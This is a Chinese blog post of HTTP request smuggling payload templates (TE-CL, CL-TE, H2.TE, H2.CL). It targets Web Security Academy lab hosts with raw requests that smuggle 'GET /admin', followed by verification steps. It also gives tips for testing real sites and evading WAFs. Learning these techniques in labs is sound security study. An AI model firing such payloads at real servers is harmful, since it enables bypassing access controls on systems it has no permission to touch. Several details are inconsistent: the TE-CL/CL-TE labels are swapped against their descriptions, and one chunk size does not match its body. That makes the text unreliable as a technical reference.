4 种 HTTP 请求走私类型的 Payload 模板

一、普通 HTTP/1.1 类型(代理仅支持 HTTP/1.1,无协议转换)

    类型 1:TE-CL(代理认 CL,后端认 TE)|最常见的 HTTP/1.1 走私

POST / HTTP/1.1
Host: 目标域名/靶场ID.web-security-academy.net
Connection: keep-alive
Content-Length: 5
Transfer-Encoding: chunked

10
a=1&b=2&c=3
0

    核心逻辑

        CL 设小于实际分块请求体长度,代理按 CL 判定请求结束,后端按 TE(分块)继续解析,后续请求会被拼接进当前请求体。

    验证现象

        发送后立即再发送一个正常 GET 请求(如GET / HTTP/1.1),出现以下任一情况即存在漏洞:
  •    第二个请求返回非预期响应(如 404/500、内容错位);
  •    第二个请求无响应 / 卡顿(后端仍在等待分块结束)。

    类型 2:CL-TE(代理认 TE,后端认 CL)

POST / HTTP/1.1
Host: 目标域名/靶场ID.web-security-academy.net
Connection: keep-alive
Content-Length: 100
Transfer-Encoding: chunked

5
a=123
0

        核心逻辑

          CL 设远大于实际分块请求体长度,代理按 TE(分块0结尾)判定请求结束,后端按 CL 等待剩余字节,后续请求会被当作当前请求的剩余内容。
            验证现象
          发送后立即再发送一个正常 GET 请求,出现以下任一情况即存在漏洞:
  •      第二个请求的响应被吞掉(无返回结果);
  •     后端返回请求体不完整相关错误(如 400 Bad Request)。

二、HTTP/2 类型(代理支持 H2 接收,转 H1.1 转发,协议转换漏洞)

    类型 1:H2.TE(对应传统 TE-CL,代理认 H2 伪头 CL,后端认转换后的 TE)

         前置操作

        RepeaterProtocol 切换为 HTTP/2,取消Allow HTTP/2 ALPN override,确保目标是 HTTPS(443 端口)。

POST / HTTP/2
Host: 目标域名/靶场ID.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked

8
smuggle=1
0
GET /admin HTTP/1.1
Host: 目标域名/靶场ID.web-security-academy.net
Connection: keep-alive

        核心逻辑

        H2 协议下构造分块请求体,代理转换 H1.1 时自动注入 TE 字段,CL 由 H2 伪头:content-length自动生成,代理按伪头 CL 判定结束,后端按 TE 解析并执行走私的GET /admin
         验证现象
  • 直接返回 **/admin 页面的响应 **(如权限提示、管理界面内容);
  • 发送后再发正常 GET 请求,返回 /admin 相关内容(请求被污染)。

    类型 2:H2.CL(对应传统 CL-TE,代理认 H2 伪头 CL,后端认注入的 CL)

POST / HTTP/2
Host: 目标域名/靶场ID.web-security-academy.net
Connection: keep-alive
Content-Length: 200

smuggle=1
GET /admin HTTP/1.1
Host: 目标域名/靶场ID.web-security-academy.net
Connection: keep-alive

        核心逻辑

          H2 协议下手动注入 HTTP/1.1 的 CL 字段(H2 本无此字段),代理转换时保留该 CL,代理按 H2 伪头真实 CL判定请求结束,后端按注入的超大 CL(200) 等待,将走私的GET /admin当作剩余请求体执行。

        验证现象

  •     直接返回 **/admin 页面的响应 **;
  •     后续正常请求被卡顿 / 吞掉,或返回 /admin 相关错误。

 

📌 通用验证技巧:快速确认漏洞(无 /admin 时可用)

 
若目标无/admin路径,将 Payload 中的GET /admin替换为任意不存在的路径(如GET /test-smuggle),发送后再发正常GET /
 
  • 若第二个请求返回/test-smuggle的 404 响应,即可 100% 确认存在请求走私(请求边界被污染)。
 

🚫 避坑补充

 
  1. 所有 Payload 均为POST 请求(GET 无请求体,无法触发走私,这是通用规则);
  2. 测试实际站点时,若目标有 WAF,可将 Payload 中的特殊字符(如 &、=)简单编码,或缩短请求体;
  3. H2 系列仅支持HTTPS,80 端口测试 H2 会直接连接失败,无需尝试。
posted @ 2026-02-04 15:35  annier  阅读(0)  评论(0)    收藏  举报